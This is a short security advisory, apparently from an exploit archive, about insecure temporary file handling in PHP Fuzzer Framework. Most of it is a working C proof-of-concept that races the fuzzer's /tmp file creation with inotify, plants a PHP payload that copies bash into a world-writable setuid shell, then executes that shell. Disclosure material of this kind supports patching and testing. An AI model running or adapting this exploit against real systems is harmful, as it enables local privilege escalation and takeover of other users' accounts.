source: http://www.securityfocus.com/bid/35924/info

PHP Fuzzer Framework creates temporary files in an insecure manner.

An attacker with local access could potentially exploit this issue to overwrite and execute arbitrary code with the privileges of the victim user. Successfully exploiting this issue may compromise the affected application and possibly the computer.

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/inotify.h>
#define FILEA "/tmp/PFF/fuzz0.php"
#define FILEB "/tmp/fuzzlol.php"
#define MODEZ (S_IRWXU | S_IRWXG | S_IRWXO)


int main(int argc, char *argv[])
{
    int f,n,w;
    char *s = "<? system(\"cp /bin/bash /tmp/sh; chmod 4777 /tmp/sh\"); ?>";
    struct inotify_event e;
    n = inotify_init();
    printf("-=*************-\n");
    if ((f = open(FILEB, O_CREAT | O_RDWR| O_EXCL, MODEZ)) > 0){
        write(f, s, strlen(s));
        close(f);
    }
    printf("[+] created abritrary code: %s\n",  FILEB);
    w = inotify_add_watch(n, "/tmp/PFF", IN_CREATE);
    read(n, &e, sizeof(e));
    rename(FILEB, FILEA);
    printf("[+] %s => %s\n", FILEB, FILEA);
        printf("[+] executing arbitrary code\n");
    sleep(2);
    printf("[+] racism complete \n");
    execl("/tmp/sh", "/tmp/sh", 0);

}

